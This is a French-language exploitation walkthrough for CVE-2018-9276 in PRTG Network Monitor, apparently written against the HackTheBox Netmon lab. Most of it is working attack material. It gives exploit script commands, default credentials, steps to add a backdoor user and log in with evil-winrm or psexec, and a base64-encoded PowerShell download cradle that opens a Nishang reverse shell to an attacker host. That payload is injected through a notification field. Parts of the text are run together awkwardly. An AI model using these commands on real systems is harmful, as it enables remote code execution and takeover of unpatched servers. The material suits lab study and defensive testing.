
CVE-2018-9276 PRTG < 18.2.39 Reverse Shell (support Python3)
CVE-2018-9276 PRTG < 18.2.39 Reverse Shell (support Python3)
git clone https://github.com/A1vinSmith/CVE-2018-9276.git
./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass
prtgadmin:prtgadmin. Il peut également être utile de consulter la base de données ou les journaux pour les obtenir. https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data--lport 445 si le port n'est pas déjà occupé.HTB Netmon box
OS Name: Microsoft Windows Server 2016 Standard
OS Version: 10.0.14393 N/A Build 14393
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00376-30821-30176-AA362
Original Install Date: 2/3/2019, 7:05:45 AM
System Boot Time: 7/28/2021, 9:02:41 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Un grand merci à wildkindcc pour sa version python2 https://github.com/wildkindcc/CVE-2018-9276
https://www.rapid7.com/db/modules/exploit/windows/http/prtg_authenticated_rce/
https://www.exploit-db.com/exploits/46527
https://github.com/chcx/PRTG-Network-Monitor-RCE
Les identifiants sont nécessaires pour exécuter l'exploit. Connectez-vous d'abord et récupérez le cookie authentifié pour ajouter un nouvel utilisateur.
./prtg-exploit.sh -u http://10.10.10.10 -c "OCTOPUS1813713946=XXX"
// Login as the new user via evil-winrm
evil-winrm -i 10.10.10.10 -u pentest -p 'P3nT3st!'
// or alternative psexec.py
python3 /path/etc/impacket/examples/psexec.py pentest:'P3nT3st!'@10.10.10.10

Si nous ne voulons pas ajouter d'utilisateur, pour un meilleur OPSEC, nous pouvons obtenir un reverse shell. Cependant, en raison de l'encodage HTML, de nombreux caractères sont encodés. Nous pouvons contourner cela en utilisant l'exécution PowerShell en base64. Nous devons créer une commande encodée en base64. Cependant, elle doit être dans l'encodage utilisé par Windows, c'est-à-dire UTF-16LE.
❯ echo -n "IEX(new-object net.webclient).downloadstring('http://10.10.10.100/Invoke-PowerShellTcp.ps1' )" | iconv -t UTF-16LE | base64 -w0
SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA=
Nous utilisons iconv pour le convertir dans l'encodage cible et exécuterons ce reverse shell à partir de Nishang. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
Téléchargez le script et ajoutez la commande en écho à la dernière ligne.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.100 -Port 4444' >> Invoke-PowerShellTcp.ps1
Maintenant, démarrez un simple serveur HTTP et créez une nouvelle notification.
python3 -m http.server 80
Cliquez sur Setup > Account Settings > Notifications -> cliquez sur « Add new notification » à l'extrême droite. Déclenchez la notification en cliquant sur le bouton en forme de cloche.
abc.txt | powershell -enc SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA=
